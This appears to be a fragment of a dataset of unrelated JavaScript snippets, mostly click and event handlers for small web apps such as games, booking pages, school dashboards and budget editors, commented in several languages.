i:not(.fa)').removeClass().addClass('away');\n }\n });\n}","function posarBoleta(e) {\r\n// console.log(\"has clicat el \"+ e.target.getAttribute('id'));\r\n if (numDeClics==0) {\r\n //si guanya\r\n if (e.target.getAttribute('id')==aleatorio) {\r\n resultat(\"guany\", \"Felicitats :)\");\r\n // resultat(\"Felicitats :)\");\r\n //si perd\r\n }else{\r\n // resultat(\"Torna a provar! :S\");\r\n resultat(\"perd\", \"Torna a provar! :S\");\r\n\r\n }\r\n numDeClics=numDeClics+1;\r\n }\r\n}","function cambiarEstado(e) {\r\n e.preventDefault();\r\n var contadore = 0;\r\n if (e.target.classList.contains('mes-Mesa') || e.target.classList.contains('mes-Mesa-circular')) {\r\n if (e.target.classList.contains('activo')) {\r\n e.target.classList.remove('activo');\r\n } else {\r\n for (var x = 0; x < reserva.children.length; x++) {\r\n if (reserva.children[x].classList.contains('activo')) {\r\n contadore++;\r\n }\r\n }\r\n if (contadore === 0 && !e.target.classList.contains('reservado')) {\r\n e.target.classList.add('activo');\r\n } else {\r\n Swal.fire({\r\n icon: 'error',\r\n title: 'No puede reservar mas de una mesa ni reservar una ocupada',\r\n text: 'Error'\r\n });\r\n }\r\n }\r\n }\r\n}","creanOnClick() {\n\n var currentAssignmentType = AssignmentReactiveVars.CurrentAssignmentType.get();\n\n switch (currentAssignmentType) {\n case AssignmentType.USERTOTASK:\n console.error(\"Template.assignmentCalendar.events.click .creneau\", \"User can't normally click on this kind of element when in userToTask\");\n return;\n break;\n case AssignmentType.TASKTOUSER: //only display users that have at least one availability matching the selected time slot\n break;\n }\n }","function verAcuerdoEspecialBonificaciones(id)\n{\nif(document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display==\"block\")\n {\n document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display=\"none\";\n document.getElementById(\"buttonVerDatosAcuerdoEspecialBonificaciones\"+id).innerHTML=\"Ver\";\n }\nelse\n {\n var requerimiento = new RequerimientoGet();\n requerimiento.setURL(\"acuerdobonificaciones/seleccionaracuerdo/ajax/datosAcuerdoBonificaciones.php\");\n requerimiento.addParametro(\"id\",id);\n requerimiento.addListener(respuestaVerDatosAcuerdoEspecialBonificaciones);\n requerimiento.ejecutar();\n }\n\n}","elegirColor(ev){\n console.log(ev);\n //capturamos el color que presiona el usuario\n const nombreColor = ev.target.dataset.color;\n //convertimos a numero el color que selecciona el usuario\n const numeroColor = this.transformarColorANumero(nombreColor);\n //iluminamos el color que apreto el usuario\n this.iluminarColor(nombreColor);\n //comprobacion de lo que presiona el usuario, si elige bien, se incrementa el subnivel\n if (numeroColor === this.secuencia[this.subnivel]) {\n this.subnivel++;\n //comprobamos si el subnivel es igual al nivel en que esta el usuario, si es asi, incrementamos el nivel\n if (this.subnivel === this.nivel) {\n this.nivel++;\n //eliminamos los eventos click que ya ocurrieron\n this.eliminarEventosClick();\n if (this.nivel === (ULTIMO_NIVEL +1)) {\n this.ganarJuego();\n\n } else {\n setTimeout(this.siguienteNivel,1500);\n }\n } \n } else {\n //PIERDE\n this.perderJuego();\n }\n \n }","function mostrarDevoluciones(){ // Cuando toque el boton \"devoluciones\" voy a ver la seccion (hacer devoluciones)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; // habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; // oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divEntregas\").style.display = \"none\"; // oculto tabla\r\n document.querySelector(\"#divDevoluciones\").style.display = \"block\"; // muestro redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"none\"; // oculto visualizar estadisticas\r\n}","metodoClick(){\n console.log(\"diste click\")\n }","function logNewsClickForUser(user_id, news_id, user_ip) {\n client.request('logNewsClickForUser', [user_id, news_id, user_ip], function(err, error, response) {\n if (err) throw err;\n });\n }","function fAppMeteo() {\n $(\"#bokm\").click(fAffMeteo);\n}","function sitClick(sitID) {\n \n currentSituation = findSituationByID(sitID);\n refreshRateIndicator();\n refreshSituationButtons();\n refreshSpiritQuotes();\n refreshSpiritIcon();\n refreshUnderstanding();\n \n}","function _attivaIsola(){\r\n\t\t\t$('.isola').each(function(){\r\n\t\t\t\tif($(this).is('[id^=\"isola'+isolaIndex+'\"]')){\r\n\t\t\t\t\t$(this).addClass('attiva').removeClass('spenta');\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$(this).removeClass('attiva').addClass('spenta');\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\t$('.testo-isola#t'+isolaIndex).addClass('presente');\r\n\r\n\t\t\tclicking = true;\r\n\t\t}","function mostrarEstDocente(){ // Cuando toque el boton \"estadisticas\" voy a ver la seccion (ver estadisticas)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; //Habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; //Oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divDevoluciones\").style.display = \"none\"; // oculto redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"block\"; // muestro visualizar estadisticas\r\n generarListaAlumnos();\r\n}","function ActivarAyudaContextual(bDevolverExitoEjecucion)\r\n{\r\n\tif (bARQAyudasContActivas)\r\n\t\tquitarIconoAyudasCont();\r\n\telse\r\n\t\tponerIconoAyudasCont();\t\t\r\n}","function triggerEvent(event, id) {\n\n event.addEventListener('click', function (e) {\n if (event.id == \"fallevent\") {\n document.getElementById(\"patient!@!local\").classList.add('rotate-fall');\n }\n if (event.id == \"normalevent\") {\n document.getElementById(\"patient!@!local\").classList.remove('rotate-fall');\n }\n fetch(`/${event.id}?username=${id}`, {\n method: 'POST'\n }).then(function (response) {\n response.json().then(function (json) {\n\n responseString = response.status + \" - \" + response.statusText;\n if (response.ok)\n return toastr[\"success\"](json.text, responseString);\n\n else if (response.status != 401)\n return toastr[\"warning\"](json.text, responseString);\n\n else\n throw new Error(responseString);\n });\n })\n .catch(function (error) {\n toastr.error(error, {\n timeOut: 10000\n });\n });\n });\n}","function theClick() {\r\n console.log('inicia')\r\n dataNodes()\r\n dataElements()\r\n backEnd()\r\n}","function cargarEvento(){\n\t\n\tif(document.readyState==\"interactive\"){\n\t\tdocument.getElementById(\"id_enviar\").addEventListener(\"click\",peticionAlta,false);\n\t}\n}","clickHandler(evt) {\n if (evt.target.classList.contains('fa-check')) {\n gameApp.eventHandler(evt);\n }\n\n if (evt.target.classList.contains('assignment') || evt.target.parentElement.classList.contains('assignment')) {\n gameApp.activateContract(evt);\n }\n\n if (evt.target.classList.contains('loc')) {\n gameApp.addLoc();\n }\n\n if (evt.target.classList.contains('nav-button')) {\n let elem = evt.target;\n gameApp.gameView.changeMenue(elem);\n }\n }","function iniciar(){ \r\n\tvar botonBuscar = document.getElementById( \"botonBuscar\" ); \r\n\tbotonBuscar.addEventListener( \"click\" , botonPresionado, false ); \r\n} // fin de la función iniciar ","function verReservasClick(opcion){\r\n let container;\r\n let container2;\r\n let almacenados;\r\n \r\n switch (opcion)\r\n {\r\n \r\n case \"crucero\": \r\n //// Cruceros \r\n container = document.querySelector('#crucerosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesCruceros\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\n Reservado por: ${objeto.reservadoPor}
\r\n Cantidad de personas: ${objeto.cantidad}
\r\n $ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"crucerosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n \r\n case \"aereo\":\r\n ///// Aereos\r\n container = document.querySelector('#aereosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesAereos\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\n Reservado por: ${objeto.reservadoPor}
\r\n Cantidad de personas: ${objeto.cantidad}
\r\n $ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"aereosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n case \"auto\": \r\n //// AUTOS\r\n \r\n container = document.querySelector('#autosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"autosReservados\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\n Reservado por: ${objeto.reservadoPor}
\r\n Cantidad de días: ${objeto.cantidad}
\r\n ${objeto.seguro}
\r\n $ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"autosReservados\").appendChild(contenedor2);\r\n }\r\n \r\n break;\r\n \r\n default:\r\n break;\r\n }\r\n \r\n }","function constroiEventos(){}","function cambioDePagina(xhttp) {\r\n let paginaAnterior = document.getElementById(\"paginaAnterior\");\r\n\r\n let paginaSiguiente = document.getElementById(\"paginaSiguiente\");\r\n\r\n paginaAnterior.addEventListener(\"click\", function() {\r\n if (xhttp.info.prev) {\r\n traerPersonaje(xhttp.info.prev, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas antes de esta\")\r\n }\r\n });\r\n paginaSiguiente.addEventListener(\"click\", function() {\r\n if (xhttp.info.next) {\r\n traerPersonaje(xhttp.info.next, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas despues de esta\")\r\n }\r\n\r\n });\r\n}","function onyeshaYaliyomo(kiungo, e, rangi, id) {\n e.preventDefault();\n let viungo, yaliyomo;\n viungo = document.getElementsByClassName(\"kiungo\");\n yaliyomo = document.getElementsByClassName(\"yaliyomo\");\n\n // ficha 'yaliyomo' zote kabla ya yote\n for (let index = 0; index < yaliyomo.length; index++) {\n const element = yaliyomo[index];\n element.style.display = \"none\";\n }\n\n // Ondoa darasa la 'hai' kwenye viungo vyote\n for (let index = 0; index < viungo.length; index++) {\n const kiungo = viungo[index];\n kiungo.className = kiungo.className.replace(\" hai\", \"\");\n kiungo.style.backgroundColor = \"transparent\";\n }\n\n // Onyesha kiungo hai na Yaliyomo yake\n kiungo.className += \" hai\";\n kiungo.style.backgroundColor = rangi;\n let yaliyomoHai = document.getElementById(id);\n let seksheni = document.getElementById(\"tabu-kurasa-nzima\");\n yaliyomoHai.style.display = \"block\";\n // yaliyomoHai.style.backgroundColor = rangi;\n seksheni.style.backgroundColor = rangi;\n}","function addEventsEntrega(){\r\n let btnsEntrega = document.querySelectorAll(\".entrega\"); \r\n for(let i=0; i vex.defaultOptions.className = 'vex-theme-wireframe'; vex.dialog.open({ message: \" + \"'Estás a punto de ELIMINAR esta Actividad Complementaria ¿Deseas Continuar?', input: \" + '\"\" + '\",' + 'buttons: [$.extend({}, vex.dialog.buttons.YES, {text: \"Continuar\"}), $.extend({}, vex.dialog.buttons.NO, {text: \"Cancelar\"})] }); ';\r\n console.log(cadena);\r\n $(\"#sub_contenido\").html(cadena);\r\n /*\r\n url = \"view/Administradores/itz_eliminar_actividad\";\r\n tipo_consulta = \"eliminar_actividad\";\r\n objParametros = {\r\n 'actividad' : actividad,\r\n 'tipo_consulta' : tipo_consulta\r\n };*/\r\n break;\r\n }//END CASE\r\n }//END SWITCH\r\n \r\n //Se pone un gif mientras se realizan las operaciones AJAX\r\n crear_loading_subcontenido();\r\n //$(\"#sub_contenido\").html(\"
Espere por favor... \");\r\n \r\n $.ajax({\r\n type: 'POST',\r\n url: url,//Obtenida de la que está a nivel de función\r\n data: objParametros,//Obtenida de la que está a nivel de función\r\n success: function(respuesta){//Respuesta es lo que pone PHP en pantalla, prácticamente es traer al PHP si la consulta fue successfuly\r\n $(\"#contenido\").html(respuesta);\r\n }//END SUCCESS\r\n });//END AJAX\r\n}//END FUNCTION","function acceder(usuario){\n console.log(`2. ${usuario} Ahora puedes acceder`)\n entrar();\n}","function clickHandler(e) {\n // cleanup the event handlers\n yesbutton.removeEventListener('click', clickHandler);\n nobutton.removeEventListener('click', clickHandler);\n\n // Hide the dialog\n screen.classList.remove('visible');\n\n // Call the appropriate callback, if it is defined\n if (e.target === yesbutton) {\n if (yescallback)\n yescallback();\n }\n else {\n if (nocallback)\n nocallback();\n }\n\n // And if there are pending permission requests, trigger the next one\n if (pending.length > 0) {\n var request = pending.shift();\n window.setTimeout(function() {\n requestPermission(request.message,\n request.yescallback,\n request.nocallback);\n }, 0);\n }\n }","function gps_permitirConsulta() {\n if (!consultando) {\n gps_pausarAutoConsultaAuto();\n gps_bloquearComponente(\"btn_consulta\", false);\n } else {\n gps_bloquearComponente(\"btn_consulta\", true);\n }\n}","function clickBotonMeGusta(selectorDivMeGusta, listID, itemID) {\n var meGusta = false;\n var textoBotonLike = $(selectorDivMeGusta + \" .botonLike\").text();\n if (textoBotonLike != \"\") {\n if (textoBotonLike == \"Me gusta\") { meGusta = true; }\n\n SP.SOD.executeFunc(\"sp.js\", \"SP.ClientContext\", function () { \n var aContextObject = new SP.ClientContext(_spPageContextInfo.webServerRelativeUrl);\n SP.SOD.executeFunc('reputation.js', 'Microsoft.Office.Server.ReputationModel.Reputation', function () {\n Microsoft.Office.Server.ReputationModel.Reputation.setLike(aContextObject, listID.substring(1, 37), itemID, meGusta);\n\n aContextObject.executeQueryAsync(\n function () {\n obtenerCantidadMeGustaItem(selectorDivMeGusta, listID, itemID);\n }, function (sender, args) {\n });\n });\n });\n }\n}","clickCheckOutGreenTea() {\n this.clickElem(this.btnCheckOutGreenTea);\n }","function suivant(){\n if(active==\"idee\"){\n reunion_open();\n }else if (active==\"reunion\") {\n travail_open();\n }else if (active==\"travail\") {\n deploiement_open();\n }\n }","function miniaturaClick(elemento) {\n var miniatura = 0;\n //esto determinara que parametro mandar a la funcion controles();\n for (var i = 0; i < cantidadElementos; i++) {\n if (elemento == posicionesMiniaturas[i]) {\n miniatura = i;\n }\n }\n //aqui se le pasa a controles(); el numero de veces que se moveran las imagenes asi como la dirección (derecha o izquierda)\n var cantidad = 0;\n if (elementoActivo < miniatura) {\n for (var i = elementoActivo; elementoActivo < miniatura; i++) {\n cantidad = cantidad + 1;\n controles(\"derechaSlider\", cantidad, \"click\");\n }\n } else {\n for (var i = elementoActivo; miniatura < elementoActivo ; i++) {\n cantidad = cantidad + 1;\n controles(\"izquierdaSlider\", cantidad, \"click\");\n }\n }\n}","function eventsAction() {\n // Despliega la seccion de detalle de información del proyecto\n $('.projectInformation')\n .unbind('click')\n .on('click', function () {\n $('.invoice__section-finder').css({ top: '-100%' });\n $('.projectfinder').removeClass('open');\n\n let rotate = $(this).attr('class').indexOf('rotate180');\n if (rotate >= 0) {\n $('.invoice__section-details').css({\n top: '-100%',\n bottom: '100%',\n });\n $(this).removeClass('rotate180');\n } else {\n $('.invoice__section-details').css({\n top: '32px',\n bottom: '0px',\n });\n $(this).addClass('rotate180');\n }\n });\n\n // Despliega la sección de seleccion de proyecto y cliente\n $('.projectfinder')\n .unbind('click')\n .on('click', function () {\n $('.invoice__section-details').css({\n top: '-100%',\n bottom: '100%',\n });\n $('.projectInformation').removeClass('rotate180');\n\n let open = $(this).attr('class').indexOf('open');\n if (open >= 0) {\n $('.invoice__section-finder').css({ top: '-100%' });\n $(this).removeClass('open');\n } else {\n $('.invoice__section-finder').css({ top: '32px' });\n $(this).addClass('open');\n }\n });\n\n // Despliega y contrae las columnas de viaje y prueba\n $('.showColumns')\n .unbind('click')\n .on('click', function () {\n let rotate = $(this).attr('class').indexOf('rotate180');\n viewStatus = rotate >= 0 ? 'E' : 'C';\n expandCollapseSection();\n });\n\n // Despliega y contrae el menu de opciones de secciones\n $('.invoice_controlPanel .addSection')\n .unbind('click')\n .on('click', function () {\n $('.menu-sections').slideDown('slow');\n $('.menu-sections').on('mouseleave', function () {\n $(this).slideUp('slow');\n sectionShowHide();\n });\n });\n\n // muestra en la cotización la seccion seleccionada\n $('.menu-sections ul li')\n .unbind('click')\n .on('click', function () {\n let item = $(this).attr('data-option');\n glbSec = $(this).attr('data-option');\n $(this).hide();\n\n $(`#SC${item}`).show();\n });\n\n // Despliega y contrae el listado de projectos\n $('.invoice_controlPanel .toImport')\n .unbind('click')\n .on('click', function () {\n let pos = $(this).offset();\n $('.import-sections')\n .slideDown('slow')\n .css({ top: '30px', left: pos.left + 'px' })\n .on('mouseleave', function () {\n $(this).slideUp('slow');\n });\n\n fillProjectsAttached();\n });\n\n // Despliega la lista de productos para agregar a la cotización\n $('.invoice__box-table .invoice_button')\n .unbind('click')\n .on('click', function () {\n let item = $(this).parents('tbody').attr('id');\n glbSec = item.substring(3,2); // jjr\n showListProducts(item);\n });\n \n // Elimina la sección de la cotización\n $('.removeSection')\n .unbind('click')\n .on('click', function () {\n let id = $(this);\n let section = id.parents('tbody');\n section.hide().find('tr.budgetRow').remove();\n sectionShowHide();\n });\n\n // Guarda version actual\n $('.version__button .toSaveBudget')\n .unbind('click')\n .on('click', function () {\n let boton = $(this).html();\n let nRows = $(\n '.invoice__box-table table tbody tr.budgetRow'\n ).length;\n if (nRows > 0) {\n let pjtId = $('.version_current').attr('data-project');\n glbpjtid=pjtId;\n let verId = $('.version_current').attr('data-version');\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\n\n if (verId != undefined){\n modalLoading('S');\n let par = `\n [{\n \"pjtId\" : \"${pjtId}\",\n \"verId\" : \"${verId}\",\n \"discount\" : \"${discount}\",\n \"action\" : \"${interfase}\"\n }]`;\n console.log('SaveBudget',par);\n var pagina = 'ProjectPlans/SaveBudget';\n var tipo = 'html';\n var selector = putsaveBudget;\n fillField(pagina, par, tipo, selector);\n } else{\n alert('No tienes una version creada, ' + \n 'debes crear en el modulo de cotizaciones');\n }\n }\n });\n\n // Guarda nueva version del presupuesto\n $('.version__button .toSaveBudgetAs')\n .unbind('click')\n .on('click', function () {\n let boton = $(this).html();\n let nRows = $(\n '.invoice__box-table table tbody tr.budgetRow'\n ).length;\n if (nRows > 0) {\n let pjtId = $('.version_current').attr('data-project');\n glbpjtid=pjtId;\n // let verCurr = $('.sidebar__versions .version__list ul li:first').attr('data-code');\n let verCurr = lastVersionFinder();\n let vr = parseInt(verCurr.substring(1, 10));\n\n let verNext = 'R' + refil(vr + 1, 4);\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\n let lastmov = moment().format(\"YYYY-MM-DD HH:mm:ss\"); //agregado por jjr\n //console.log('FECHA- ', lastmov);\n if (vr != undefined){ //agregado por jjr\n modalLoading('S');\n let par = `\n [{\n \"pjtId\" : \"${pjtId}\",\n \"verCode\" : \"${verNext}\",\n \"discount\" : \"${discount}\",\n \"lastmov\" : \"${lastmov}\"\n }]`;\n\n var pagina = 'ProjectPlans/SaveBudgetAs';\n var tipo = 'html';\n var selector = putSaveBudgetAs;\n fillField(pagina, par, tipo, selector);\n } else{\n alert('No tienes una version creada, ' + \n 'debes crear en el modulo de cotizaciones');\n }\n }\n });\n\n // Edita los datos del proyecto\n $('#btnEditProject')\n .unbind('click')\n .on('click', function () {\n let pjtId = $('.projectInformation').attr('data-project');\n editProject(pjtId);\n });\n\n // Agrega nueva cotización\n $('.toSave')\n .unbind('click')\n .on('click', function () {\n let pjtId = $('.version_current').attr('data-project');\n let verId = $('.version_current').attr('data-version');\n promoteProject(pjtId, verId);\n });\n // Imprime la cotización en pantalla\n $('.toPrint')\n .unbind('click')\n .on('click', function () {\n let verId = $('.version_current').attr('data-version');\n printBudget(verId);\n });\n\n // Busca los elementos que coincidan con lo escrito el input de cliente y poyecto\n $('.inputSearch')\n .unbind('keyup')\n .on('keyup', function () {\n let id = $(this);\n let obj = id.parents('.finder__box').attr('id');\n let txt = id.val().toUpperCase();\n sel_items(txt, obj);\n });\n\n $('.cleanInput')\n .unbind('click')\n .on('click', function () {\n let id = $(this).parents('.finder__box').children('.invoiceInput');\n id.val('');\n id.trigger('keyup');\n });\n\n // Limpiar la pantalla\n $('#newQuote')\n .unbind('click')\n .on('click', function () {\n window.location = 'ProjectDetails';\n });\n\n // Abre el modal de comentarios\n $('.sidebar__comments .toComment')\n .unbind('click')\n .on('click', function () {\n showModalComments();\n });\n\n expandCollapseSection();\n}","function ClickAbrir() {\n var nome = ValorSelecionado(Dom('select-personagens'));\n if (nome == '--') {\n Mensagem('Nome \"--\" não é válido.');\n return;\n }\n var eh_local = false;\n if (nome.indexOf('local_') == 0) {\n eh_local = true;\n nome = nome.substr(6);\n } else {\n nome = nome.substr(5);\n }\n var handler = {\n nome: nome,\n f: function(dado) {\n if (nome in dado) {\n gEntradas = JSON.parse(dado[nome]);\n CorrigePericias();\n AtualizaGeralSemLerEntradas();\n SelecionaValor('--', Dom('select-personagens'));\n Mensagem(Traduz('Personagem') + ' \"' + nome + '\" ' + Traduz('carregado com sucesso.'));\n } else {\n Mensagem(Traduz('Não encontrei personagem com nome') + ' \"' + nome + '\"');\n }\n DesabilitaOverlay();\n },\n };\n HabilitaOverlay();\n AbreDoArmazem(nome, eh_local, handler.f);\n}","function iniciar(){\n\t\n\tvar btnOkAlerta = document.getElementById(\"okalerta\");\n\tvar btnWarning = document.getElementById(\"okwarning\");\n\tvar btnSucess = document.getElementById(\"oksucess\");\n\n\tbtnOkAlerta.addEventListener(\"click\", function(e){\n\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\tbtnWarning.addEventListener(\"click\", function(e){\n\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\tbtnSucess.addEventListener(\"click\", function(e){\n\t\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\n\tvar btnEnviar = document.getElementById(\"enviar\");\n\tbtnEnviar.addEventListener(\"click\", procesarRecarga, false);\n}","function voltarEtapa3() {\n msgTratamentoEtapa4.innerHTML = \"\";\n //recebendo H3 e setando nela o texto com o nome do cliente\n var tituloDaEtapa = document.querySelector(\"#tituloDaEtapa\");\n tituloDaEtapa.textContent = \"3º Etapa - Colaborador\";\n\n document.getElementById('selecionarPacotes').style.display = 'none'; //desabilita a etapa 4\n document.getElementById('selecionarFuncionarios').style.display = ''; //habilita a etapa 3\n }","function iniciar(){\n\t\t\tdocument.getElementById(\"enviar\").addEventListener('click',validar,false);\n\t\t}","function habilitarEntradas(){\n //evento del movimiento del mouse\n document.addEventListener('mousemove',function(evt){\n raton.x=evt.pageX-canvas.offsetLeft - 6;\n raton.y=evt.pageY-canvas.offsetTop - 28;\n },false);\n\n //evento del click del mouse\n document.addEventListener('mouseup', function(evt){\n ultimaliberacion=evt.which;\n },false);\n //evento del soltar el click del mouse \n canvas.addEventListener('mousedown',function(evt){\n evt.preventDefault();\n ultinaPresion=evt.which;\n },false);\n}","function checkJawabanUntukuser(e){\n\t//hapus tombol cek berhasilan\n\tcekKeberhasilan.classList.add('d-none');\n\t//tampilkan tombol loading\n\tbtn_loading.classList.add('d-block');\n\t//menunggu 3 detik\n\tsetTimeout(function(){\n\t//tarik kembali jendela browser\n\twindow.scrollTo(0,0);\n\t//cek jawaban ketika ada jawaban yang di pilih salah \n\tselainPilihanbenar.forEach(function(jawabanSoalketikaSalah){\n\t//jika jawaban ada yang salah tampilkan info kesalahan\n\tif(jawabanSoalketikaSalah.checked){\n\t//berikan info dan pengertian jawaban pada user\n\tinfo_jawaban.forEach(function(tampilkanInfo){\n\ttampilkanInfo.classList.add('d-block');\n\t});\n\t//berikan info kesalahan kepada user\n\tinfo_salah.classList.add('d-block');\n\t\t}\n});\n\t\t\n\t//cek jawaban ketika benar\n\tjawaban.forEach(function(jawabanSoal){\n\t//jika jawaban benar semua tampilkan info\n\tif(jawabanSoal.checked){\n\t//berikan info dan pengertian jawaban pada user\n\tinfo_jawaban.forEach(function(tampilkanInfo){\n\ttampilkanInfo.classList.add('d-block');\n\t});\n\t//berikan info benar kepada user\n\tinfo_benar.classList.add('d-block');\n\t//jika selain ada jawaban yang salah\n\t }else if(jawabanSoal.checked || jawabanSoal.checked == false){\n\t //hapus info benar kepada user dan berikan kesalahan jawaban salah\n\tinfo_benar.classList.remove('d-block');\n\t }\t\n\t });\n\t//hilangkan tombol loading\n\tbtn_loading.classList.remove('d-block');\n\t}, 3000);\n}","function ClickGerarResumo() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var input = Dom(\"resumo-personagem-2\");\n input.value = GeraResumo();\n input.focus();\n input.select();\n}","function template_eventosFavoritos() {\n\t$(\".btnBotones.estrella\").unbind();\n\t$(\".btnBotones.estrella\").each(function(){\n\t\tvar elemento = $(this);\n\t\t\n\t\t$(this).on({\n\t\t\tclick: function() {\n\t\t\t\tvar tempUrl = \"\";\n\t\t\t\tvar datos;\n\t\t\t\t\n\t\t\t\tif (typeof elemento.attr(\"data-inmueble\") !== 'undefined') {\n\t\t\t\t\ttempUrl = \"lib_php/updFavoritoInmueble.php\";\n\t\t\t\t\tdatos = {\n\t\t\t\t\t\tid: elemento.attr(\"data-id\"),\n\t\t\t\t\t\tinmueble: elemento.attr(\"data-inmueble\")\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\ttempUrl = \"lib_php/updFavoritoDesarrollo.php\";\n\t\t\t\t\tdatos = {\n\t\t\t\t\t\tid: elemento.attr(\"data-id\"),\n\t\t\t\t\t\tdesarrollo: elemento.attr(\"data-desarrollo\")\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$.ajax({\n\t\t\t\t\turl: tempUrl,\n\t\t\t\t\ttype: \"POST\",\n\t\t\t\t\tdataType: \"json\",\n\t\t\t\t\tdata: datos\n\t\t\t\t}).always(function(respuesta_json){\n\t\t\t\t\tif (respuesta_json.isExito == 1) {\n\t\t\t\t\t\tif (parseInt(respuesta_json.id) == 0)\n\t\t\t\t\t\t\telemento.removeClass(\"activo\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\telemento.addClass(\"activo\");\n\t\t\t\t\t\telemento.attr(\"data-id\", respuesta_json.id);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$(\"#template_alertPersonalizado td\").text(\"Inicia sesión o regístrate para agregar tus inmuebles/desarrollos favoritos.\");\n\t\t\t\t\t\ttemplate_alertPersonalizado();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t});\n}","function acceder(){\r\n limpiarMensajesError()//Limpio todos los mensajes de error cada vez que corro la funcion\r\n let nombreUsuario = document.querySelector(\"#txtUsuario\").value ;\r\n let clave = document.querySelector(\"#txtClave\").value;\r\n let acceso = comprobarAcceso (nombreUsuario, clave);\r\n let perfil = \"\"; //variable para capturar perfil del usuario ingresado\r\n let i = 0;\r\n while(i < usuarios.length){\r\n const element = usuarios[i].nombreUsuario.toLowerCase();\r\n if(element === nombreUsuario.toLowerCase()){\r\n perfil = usuarios[i].perfil;\r\n usuarioLoggeado = usuarios[i].nombreUsuario;\r\n }\r\n i++\r\n }\r\n //Cuando acceso es true \r\n if(acceso){\r\n if(perfil === \"alumno\"){\r\n alumnoIngreso();\r\n }else if(perfil === \"docente\"){\r\n docenteIngreso();\r\n }\r\n }\r\n}","function handleClick() {\n Swal.fire({\n title: '¡Atencion!',\n text: '¿ Esta seguro que desea continuar ?',\n icon: 'info',\n confirmButtonText: 'Si',\n confirmButtonColor: '#00afe1',\n cancelButtonText: 'Cancelar',\n showCancelButton: true,\n allowEnterKey: true,\n allowEscapeKey: false,\n allowOutsideClick: false,\n stopKeydownPropagation: true\n }).then((result) => {\n if (result.isConfirmed) {\n Swal.fire({\n icon: 'success',\n title: 'Gracias por confiar en Glavic!',\n text: 'Estas a un paso de finalizar tu pedido. Te pedimos que valides tus datos en el siguiente formulario para confirmar tu pedido.',\n confirmButtonText: 'Ok',\n confirmButtonColor: '#00afe1',\n });\n } else if (result.isDenied) {\n Swal.fire({\n icon: 'error',\n title: 'Ups!',\n text: 'Algo no salio como esperabamos, vuelva a intentar la operacion',\n timer: 1500\n });\n }\n })\n }","function activarHerramientaPerfil() {\n console.log(\"Activar herramienta perfil\");\n\n crearYCargarCapaLineaPerfil();\n activarControlDibujo();\n\n\n}","function ejecutaAccion(elemt, type, proyect ){\n\tactividadPrevia = true;\n\tborradoMultiple = false;\n\tcambiandoCategoria = false;\n\t\n\tif(!$(\"#tipoIdentificacion\").length){\n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Frente\") != (-1)) {\n\t\t\t\t$(\".cred_image:eq(0) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(0)\").addClass(\"opacity\"); \n\t\t\t}\n\t\t\t\t\n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Reverso\") != (-1)) {\n\t\t\t\t$(\".cred_image:eq(1) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(1)\").addClass(\"opacity\");\n\t\t\t} 